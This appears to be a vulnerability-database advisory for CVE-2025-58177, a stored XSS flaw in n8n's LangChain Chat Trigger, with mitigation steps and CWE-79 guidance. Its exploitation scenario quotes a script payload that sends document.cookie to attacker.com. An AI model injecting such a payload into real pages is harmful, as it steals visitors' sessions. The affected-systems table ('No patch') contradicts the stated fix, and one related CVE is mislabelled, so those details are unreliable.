CVE-2025-58177: n8n: stored XSS in LangChain chat trigger (public)
MEDIUMAn authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.
What is the risk?
Medium CVSS (5.4) understates operational risk for organizations with public-facing n8n AI chat interfaces. The scope change (S:C) indicates cross-context impact: an attacker with low-privilege access poisons the configuration once, and the payload fires for every subsequent external visitor. Real-world blast radius scales with how many end users interact with exposed chat URLs — potentially large for customer-facing AI assistants built on n8n.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| n8n | npm | — | No patch |
Do you use n8n? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
PATCH
Upgrade n8n to 1.107.0 or later immediately.
-
WORKAROUND
If patching is delayed, disable all public-facing LangChain chatTrigger nodes.
-
AUDIT
Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers.
-
ACCESS CONTROL
Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled.
-
CSP
Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS.
-
MONITOR
Review access logs for public chat URLs for anomalous traffic or referrers post-incident.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2025-58177?
An authorized n8n user can inject malicious JavaScript into the LangChain Chat Trigger's initialMessages field, which executes silently in any visitor's browser when the public chat URL is accessed. This enables session cookie theft and phishing at scale against users of your public-facing AI chat interfaces. Upgrade to n8n 1.107.0 immediately; if patching is delayed, disable all public-facing chatTrigger nodes.
Is CVE-2025-58177 actively exploited?
No confirmed active exploitation of CVE-2025-58177 has been reported, but organizations should still patch proactively.
How to fix CVE-2025-58177?
1. PATCH: Upgrade n8n to 1.107.0 or later immediately. 2. WORKAROUND: If patching is delayed, disable all public-facing LangChain chatTrigger nodes. 3. AUDIT: Inspect the initialMessages field across all chatTrigger configurations for injected script tags or JS event handlers. 4. ACCESS CONTROL: Restrict workflow configuration permissions — limit who can modify chatTrigger nodes with public access enabled. 5. CSP: Implement Content-Security-Policy headers on n8n instances as defense-in-depth against XSS. 6. MONITOR: Review access logs for public chat URLs for anomalous traffic or referrers post-incident.
What systems are affected by CVE-2025-58177?
This vulnerability affects the following AI/ML architecture patterns: workflow automation, agent frameworks, LLM-powered chatbots, AI pipeline orchestration.
What is the CVSS score for CVE-2025-58177?
CVE-2025-58177 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.22%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.003 Malicious Link AML.T0049 Exploit Public-Facing Application AML.T0052 Phishing AML.T0078 Drive-by Compromise AML.T0093 Prompt Infiltration via Public-Facing Application Compliance Controls Affected
What are the technical details?
Original Advisory
n8n is an open source workflow automation platform. From 1.24.0 to before 1.107.0, there is a stored cross-site scripting (XSS) vulnerability in @n8n/n8n-nodes-langchain.chatTrigger. An authorized user can configure the LangChain Chat Trigger node with malicious JavaScript in the initialMessages field and enable public access so that the payload is executed in the browser of any user who visits the resulting public chat URL. This can be used for phishing or to steal cookies or other sensitive data from users accessing the public chat link. The issue is fixed in version 1.107.0. Updating to 1.107.0 or later is recommended. As a workaround, the affected chatTrigger node can be disabled. No other workarounds are known.
Exploitation Scenario
A threat actor with low-privilege n8n access (compromised developer credential or malicious insider) modifies a LangChain Chat Trigger workflow, injecting a cookie-harvesting payload such as '<script>fetch("https://attacker.com/c?v="+document.cookie)</script>' into the initialMessages field. They enable public access and distribute the resulting URL via phishing emails targeting the organization's customers or partner users. Every visitor who loads the chat interface silently delivers their session tokens to the attacker — all while interacting with what appears to be a legitimate AI assistant.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2026-33663 10.0 n8n: member role steals plaintext HTTP credentials
Same package: n8n CVE-2026-33660 10.0 TensorFlow: type confusion NPD in tensor conversion
Same package: n8n CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same package: n8n CVE-2026-27577 9.9 n8n: Code Injection enables RCE
Same package: n8n CVE-2026-27495 9.9 n8n: Code Injection enables RCE
Same package: n8n